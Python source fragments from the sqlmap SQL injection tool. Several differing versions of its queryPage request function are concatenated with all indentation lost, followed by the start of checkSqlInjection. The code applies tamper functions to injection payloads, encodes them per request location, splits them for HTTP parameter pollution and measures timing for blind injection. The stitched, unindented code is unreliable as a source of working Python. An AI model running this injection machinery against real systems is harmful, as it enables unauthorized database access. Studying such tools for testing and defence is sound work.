_ = max(headers[_] if _.upper() ==
HTTPHEADER.CONTENT_TYPE.upper() else None
for _ in headers.keys())
if _ and "urlencoded" not in _:
skipUrlEncode = True
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload, auxHeaders = function(payload=payload,
headers=auxHeaders)
value = agent.replacePayload(value, payload)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))
if place in (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST):
# payloads in GET and/or POST need to be urlencoded
# throughly without safe chars (especially & and =)
# addendum: as we support url encoding in tampering
# functions therefore we need to use % as a safe char
if place != PLACE.URI or (
value and payload and '?' in value
and value.find('?') < value.find(payload)):
payload = urlencode(payload, '%', False,
True) if place not in (
PLACE.POST, PLACE.CUSTOM_POST
) and not skipUrlEncode else payload
value = agent.replacePayload(value, payload)
elif place == PLACE.SOAP:
# payloads in SOAP should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', ">").replace('<', "<")
value = agent.replacePayload(value, payload)
if place:
value = agent.removePayloadDelimiters(value)
if place == PLACE.COOKIE and conf.cookieUrlencode:
value = urlEncodeCookieValues(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[
PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[
PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(
CUSTOM_INJECTION_MARK_CHAR,
"") if place != PLACE.CUSTOM_POST or not value else value
if PLACE.SOAP in conf.parameters:
post = conf.parameters[
PLACE.SOAP] if place != PLACE.SOAP or not value else value
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[
PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.USER_AGENT in conf.parameters:
ua = conf.parameters[
PLACE.
USER_AGENT] if place != PLACE.USER_AGENT or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[
PLACE.
REFERER] if place != PLACE.REFERER or not value else value
if PLACE.HOST in conf.parameters:
host = conf.parameters[
PLACE.HOST] if place != PLACE.HOST or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search("%s=(?P<value>[^&;]+)" % randomParameter,
paramString)
if match:
origValue = match.group("value")
retVal = re.sub(
"%s=[^&;]+" % randomParameter, "%s=%s" %
(randomParameter, randomizeParameterValue(origValue)),
paramString)
return retVal
for randomParameter in conf.rParam:
for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if item in conf.parameters:
if item == PLACE.GET and get:
get = _randomizeParameter(get, randomParameter)
elif item == PLACE.POST and post:
post = _randomizeParameter(post, randomParameter)
elif item == PLACE.COOKIE and cookie:
cookie = _randomizeParameter(
cookie, randomParameter)
if conf.evalCode:
delimiter = conf.pDel or "&"
variables = {}
originals = {}
for item in filter(None, (get, post)):
for part in item.split(delimiter):
if '=' in part:
name, value = part.split('=', 1)
evaluateCode("%s=%s" % (name, repr(value)), variables)
originals.update(variables)
evaluateCode(conf.evalCode, variables)
for name, value in variables.items():
if name != "__builtins__" and originals.get(name, "") != value:
if isinstance(value, (basestring, int)):
value = unicode(value)
if '%s=' % name in (get or ""):
get = re.sub(
"((\A|\W)%s=)([^%s]+)" % (name, delimiter),
"\g<1>%s" % value, get)
elif '%s=' % name in (post or ""):
post = re.sub(
"((\A|\W)%s=)([^%s]+)" % (name, delimiter),
"\g<1>%s" % value, post)
elif post:
post += "%s%s=%s" % (delimiter, name, value)
else:
get += "%s%s=%s" % (delimiter, name, value)
get = urlencode(get, limit=True)
if post:
if conf.skipUrlEncode is None:
_ = (post or "").strip()
if _.startswith("<") and _.endswith(">"):
msg = "provided POST data looks "
msg += "like it's in XML format. "
msg += "Do you want to turn off URL encoding "
msg += "which is usually causing problems "
msg += "in this kind of situations? [Y/n]"
skipUrlEncode = conf.skipUrlEncode = readInput(
msg, default="Y").upper() != "N"
if place not in (PLACE.POST, PLACE.SOAP,
PLACE.CUSTOM_POST) and hasattr(
post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif not skipUrlEncode and place not in (PLACE.SOAP, ):
post = urlencode(post)
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
singleTimeWarnMessage(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
deviation = stdev(kb.responseTimes)
if deviation > WARN_TIME_STDEV:
kb.adjustTimeDelay = False
warnMsg = "there is considerable lagging "
warnMsg += "in connection response(s). Please use as high "
warnMsg += "value for option '--time-sec' as possible (e.g. "
warnMsg += "%d or more)" % (conf.timeSec * 2)
logger.critical(warnMsg)
elif not kb.testMode:
warnMsg = "it is very important not to stress the network adapter's "
warnMsg += "bandwidth during usage of time-based queries"
singleTimeWarnMessage(warnMsg)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl,
cookie=cookie,
direct=True,
silent=True,
ua=ua,
referer=referer,
host=host)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTPHEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
host=host,
silent=silent,
method=method,
auxHeaders=auxHeaders,
raise404=raise404)
if headers:
if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers:
pageLength = int(
headers[HTTPHEADER.CONTENT_RANGE]
[headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:])
if not pageLength:
page, headers, code = Connect.getPage(
url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
host=host,
silent=silent,
method=method,
auxHeaders=auxHeaders,
response=response,
raise404=raise404,
ignoreTimeout=timeBasedCompare)
if conf.secondOrder:
page, headers, code = Connect.getPage(
url=conf.secondOrder,
cookie=cookie,
ua=ua,
silent=silent,
auxHeaders=auxHeaders,
response=response,
raise404=False,
ignoreTimeout=timeBasedCompare,
refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
kb.originalCode = kb.originalCode or code
if kb.testMode:
kb.testQueryCount += 1
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(r"max.+connections", page or "",
re.I) is not None
kb.permissionFlag = re.search(
r"(command|permission|access)\s*(was|is)?\s*denied", page or "",
re.I) is not None
if content or response:
return page, headers
if getRatioValue:
return comparison(page,
headers,
code,
getRatioValue=False,
pageLength=pageLength), comparison(
page,
headers,
code,
getRatioValue=True,
pageLength=pageLength)
elif pageLength or page:
return comparison(page, headers, code, getRatioValue, pageLength)
else:
return False
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False, method=None, auxHeaders=None, response=False, raise404 = None):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
page = None
pageLength = None
uri = None
raise404 = place != PLACE.URI if raise404 is None else raise404
toUrlencode = { PLACE.GET: True, PLACE.POST: True, PLACE.COOKIE: conf.cookieUrlencode, PLACE.UA: True, PLACE.URI: False }
if not place:
place = kb.injPlace
payload = agent.extractPayload(value)
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload)
value = agent.replacePayload(value, payload)
logger.log(9, payload)
if place == PLACE.COOKIE and conf.cookieUrlencode:
value = agent.removePayloadDelimiters(value, False)
value = urlEncodeCookieValues(value)
elif place:
value = agent.removePayloadDelimiters(value, toUrlencode[place])
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.UA in conf.parameters:
ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua)
if not content and not response and kb.nullConnection:
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders["Range"] = "bytes=-1"
_, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404)
if kb.nullConnection == NULLCONNECTION.HEAD and 'Content-Length' in headers:
pageLength = int(headers['Content-Length'])
elif kb.nullConnection == NULLCONNECTION.RANGE and 'Content-Range' in headers:
pageLength = int(headers['Content-Range'][headers['Content-Range'].find('/') + 1:])
if not pageLength:
page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404)
if conf.textOnly:
page = getFilteredPageContent(page)
if content or response:
return page, headers
elif getSeqMatcher:
return comparison(page, headers, getSeqMatcher=False, pageLength=pageLength), comparison(page, headers, getSeqMatcher=True, pageLength=pageLength)
elif pageLength or page:
return comparison(page, headers, getSeqMatcher, pageLength)
else:
return False
def queryPage(
value=None,
place=None,
content=False,
getRatioValue=False,
silent=False,
method=None,
timeBasedCompare=False,
noteResponseTime=True,
auxHeaders=None,
response=False,
raise404=None,
removeReflection=True,
):
"""
This method calls a function to get the target URL page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
if not place:
place = kb.injection.place or PLACE.GET
if not auxHeaders:
auxHeaders = {}
raise404 = place != PLACE.URI if raise404 is None else raise404
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if conf.httpHeaders:
headers = dict(conf.httpHeaders)
contentType = max(
headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()
)
if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode:
kb.postUrlEncode = False
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload=payload, headers=auxHeaders)
if not isinstance(payload, basestring):
errMsg = "tamper function '%s' returns " % function.func_name
errMsg += "invalid payload type ('%s')" % type(payload)
raise SqlmapValueException(errMsg)
value = agent.replacePayload(value, payload)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))
if place == PLACE.CUSTOM_POST and kb.postHint:
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace(">", ">").replace("<", "<")
elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
elif kb.postHint == POST_HINT.JSON_LIKE:
payload = (
payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
)
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = (
payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
)
value = agent.replacePayload(value, payload)
else:
# GET, POST, URI and Cookie payload needs to be throughly URL encoded
if (
place in (PLACE.GET, PLACE.URI, PLACE.COOKIE)
and not conf.skipUrlEncode
or place in (PLACE.POST, PLACE.CUSTOM_POST)
and kb.postUrlEncode
):
payload = urlencode(payload, "%", False, place != PLACE.URI) # spaceplus is handled down below
value = agent.replacePayload(value, payload)
if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
warnMsg = "HTTP parameter pollution should work only against "
warnMsg += "ASP(.NET) targets"
singleTimeWarnMessage(warnMsg)
if place in (PLACE.GET, PLACE.POST):
_ = re.escape(PAYLOAD_DELIMITER)
match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value)
if match:
payload = match.group("value")
for splitter in (urlencode(" "), " "):
if splitter in payload:
prefix, suffix = (
("*/", "/*") if splitter == " " else (urlencode(_) for _ in ("*/", "/*"))
)
parts = payload.split(splitter)
parts[0] = "%s%s" % (parts[0], suffix)
parts[-1] = "%s%s=%s%s" % (
DEFAULT_GET_POST_DELIMITER,
match.group("name"),
prefix,
parts[-1],
)
for i in xrange(1, len(parts) - 1):
parts[i] = "%s%s=%s%s%s" % (
DEFAULT_GET_POST_DELIMITER,
match.group("name"),
prefix,
parts[i],
suffix,
)
payload = "".join(parts)
for splitter in (urlencode(","), ","):
payload = payload.replace(
splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))
)
value = agent.replacePayload(value, payload)
else:
warnMsg = "HTTP parameter pollution works only with regular "
warnMsg += "GET and POST parameters"
singleTimeWarnMessage(warnMsg)
if place:
value = agent.removePayloadDelimiters(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.CUSTOM_POST in conf.parameters:
post = (
conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "")
if place != PLACE.CUSTOM_POST or not value
else value
)
post = post.replace(ASTERISK_MARKER, "*") if post else post
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.USER_AGENT in conf.parameters:
ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value
if PLACE.HOST in conf.parameters:
host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if value and place == PLACE.CUSTOM_HEADER:
auxHeaders[value.split(",")[0]] = value.split(",", 1)[1]
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString)
if match:
origValue = match.group("value")
retVal = re.sub(
"%s=[^&;]+" % randomParameter,
"%s=%s" % (randomParameter, randomizeParameterValue(origValue)),
paramString,
)
return retVal
for randomParameter in conf.rParam:
for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if item in conf.parameters:
if item == PLACE.GET and get:
get = _randomizeParameter(get, randomParameter)
elif item == PLACE.POST and post:
post = _randomizeParameter(post, randomParameter)
elif item == PLACE.COOKIE and cookie:
cookie = _randomizeParameter(cookie, randomParameter)
if conf.evalCode:
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
variables = {}
originals = {}
for item in filter(None, (get, post if not kb.postHint else None)):
for part in item.split(delimiter):
if "=" in part:
name, value = part.split("=", 1)
value = urldecode(value, convall=True, plusspace=(item == post and kb.postSpaceToPlus))
evaluateCode("%s=%s" % (name.strip(), repr(value)), variables)
if cookie:
for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER):
if "=" in part:
name, value = part.split("=", 1)
value = urldecode(value, convall=True)
evaluateCode("%s=%s" % (name.strip(), repr(value)), variables)
originals.update(variables)
evaluateCode(conf.evalCode, variables)
for name, value in variables.items():
if name != "__builtins__" and originals.get(name, "") != value:
if isinstance(value, (basestring, int)):
found = False
value = unicode(value)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter))
if re.search(regex, (get or "")):
found = True
get = re.sub(regex, "\g<1>%s\g<3>" % value, get)
if re.search(regex, (post or "")):
found = True
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (
re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER),
name,
re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER),
)
if re.search(regex, (cookie or "")):
found = True
cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie)
if not found:
if post is not None:
post += "%s%s=%s" % (delimiter, name, value)
elif get is not None:
get += "%s%s=%s" % (delimiter, name, value)
elif cookie is not None:
cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value)
if not conf.skipUrlEncode:
get = urlencode(get, limit=True)
if post is not None:
if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif kb.postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X")
warnMsg += "larger statistical model, please wait"
dataToStdout(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
dataToStdout(".")
dataToStdout("\n")
elif not kb.testMode:
warnMsg = "it is very important not to stress the network adapter "
warnMsg += "during usage of time-based payloads to prevent potential "
warnMsg += "errors "
singleTimeWarnMessage(warnMsg)
if not kb.laggingChecked:
kb.laggingChecked = True
deviation = stdev(kb.responseTimes)
if deviation > WARN_TIME_STDEV:
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE
warnMsg = "there is considerable lagging "
warnMsg += "in connection response(s). Please use as high "
warnMsg += "value for option '--time-sec' as possible (e.g. "
warnMsg += "10 or more)"
logger.critical(warnMsg)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(
url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host
)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False
pushValue(kb.pageCompress)
kb.pageCompress = False
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(
url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
host=host,
silent=silent,
method=method,
auxHeaders=auxHeaders,
raise404=raise404,
skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ),
)
if headers:
if (
kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ)
and HTTP_HEADER.CONTENT_LENGTH in headers
):
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
pageLength = int(
headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find("/") + 1 :]
)
kb.pageCompress = popValue()
if not pageLength:
try:
page, headers, code = Connect.getPage(
url=uri,
get=get,
post=post,
cookie=cookie,
ua=ua,
referer=referer,
host=host,
silent=silent,
method=method,
auxHeaders=auxHeaders,
response=response,
raise404=raise404,
ignoreTimeout=timeBasedCompare,
)
except MemoryError:
page, headers, code = None, None, None
warnMsg = "site returned insanely large response"
if kb.testMode:
warnMsg += " in testing phase. This is a common "
warnMsg += "behavior in custom WAF/IDS/IPS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondOrder:
page, headers, code = Connect.getPage(
url=conf.secondOrder,
cookie=cookie,
ua=ua,
silent=silent,
auxHeaders=auxHeaders,
response=response,
raise404=False,
ignoreTimeout=timeBasedCompare,
refreshing=True,
)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
kb.originalCode = kb.originalCode or code
if kb.testMode:
kb.testQueryCount += 1
if timeBasedCompare:
return wasLastResponseDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
if content or response:
return page, headers
if getRatioValue:
return (
comparison(page, headers, code, getRatioValue=False, pageLength=pageLength),
comparison(page, headers, code, getRatioValue=True, pageLength=pageLength),
)
else:
return comparison(page, headers, code, getRatioValue, pageLength)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
if not place:
place = kb.injection.place or PLACE.GET
raise404 = place != PLACE.URI if raise404 is None else raise404
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
payload = function(payload)
value = agent.replacePayload(value, payload)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))
if place in (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST):
# payloads in GET and/or POST need to be urlencoded
# throughly without safe chars (especially & and =)
# addendum: as we support url encoding in tampering
# functions therefore we need to use % as a safe char
if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)):
payload = urlencode(payload, '%', False, True) if not place in (PLACE.POST, PLACE.CUSTOM_POST) and conf.skipUrlEncode else payload
value = agent.replacePayload(value, payload)
elif place == PLACE.SOAP:
# payloads in SOAP should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', ">").replace('<', "<")
value = agent.replacePayload(value, payload)
if place:
value = agent.removePayloadDelimiters(value)
if place == PLACE.COOKIE and conf.cookieUrlencode:
value = urlEncodeCookieValues(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
if PLACE.SOAP in conf.parameters:
post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value
if PLACE.UA in conf.parameters:
ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value
if PLACE.REFERER in conf.parameters:
referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value
if PLACE.HOST in conf.parameters:
host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value
if PLACE.URI in conf.parameters:
uri = conf.url if place != PLACE.URI or not value else value
else:
uri = conf.url
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString)
if match:
origValue = match.group("value")
retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString)
return retVal
for randomParameter in conf.rParam:
for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]:
if item in conf.parameters:
if item == PLACE.GET and get:
get = _randomizeParameter(get, randomParameter)
elif item == PLACE.POST and post:
post = _randomizeParameter(post, randomParameter)
elif item == PLACE.COOKIE and cookie:
cookie = _randomizeParameter(cookie, randomParameter)
if conf.evalCode:
delimiter = conf.pDel or "&"
variables = {}
originals = {}
for item in filter(None, (get, post)):
for part in item.split(delimiter):
if '=' in part:
name, value = part.split('=', 1)
evaluateCode("%s='%s'" % (name, value), variables)
originals.update(variables)
evaluateCode(conf.evalCode, variables)
for name, value in variables.items():
if name != "__builtins__" and originals.get(name, "") != value:
if isinstance(value, (basestring, int)):
value = unicode(value)
if '%s=' % name in (get or ""):
get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get)
elif '%s=' % name in (post or ""):
post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post)
elif post:
post += "%s%s=%s" % (delimiter, name, value)
else:
get += "%s%s=%s" % (delimiter, name, value)
get = urlencode(get, limit=True)
if post and place not in (PLACE.POST, PLACE.SOAP, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif not conf.skipUrlEncode and place not in (PLACE.SOAP,):
post = urlencode(post)
if timeBasedCompare:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
clearConsoleLine()
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "time-based comparison needs larger statistical "
warnMsg += "model. Making a few dummy requests, please wait.."
singleTimeWarnMessage(warnMsg)
while len(kb.responseTimes) < MIN_TIME_RESPONSES:
Connect.queryPage(content=True)
deviation = stdev(kb.responseTimes)
if deviation > WARN_TIME_STDEV:
kb.adjustTimeDelay = False
warnMsg = "there is considerable lagging "
warnMsg += "in connection response(s). Please use as high "
warnMsg += "value for option '--time-sec' as possible (e.g. "
warnMsg += "%d or more)" % (conf.timeSec * 2)
logger.critical(warnMsg)
elif not kb.testMode:
warnMsg = "it is very important not to stress the network adapter's "
warnMsg += "bandwidth during usage of time-based queries"
singleTimeWarnMessage(warnMsg)
if conf.safUrl and conf.saFreq > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.saFreq == 0:
Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
if not auxHeaders:
auxHeaders = {}
auxHeaders[HTTPHEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404)
if headers:
if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:])
if not pageLength:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
kb.originalCode = kb.originalCode or code
if kb.testMode:
kb.testQueryCount += 1
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(r"max.+connections", page or "", re.I) is not None
kb.permissionFlag = re.search(r"(command|permission|access)\s*(was|is)?\s*denied", page or "", re.I) is not None
if content or response:
return page, headers
if getRatioValue:
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
elif pageLength or page:
return comparison(page, headers, code, getRatioValue, pageLength)
else:
return False
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
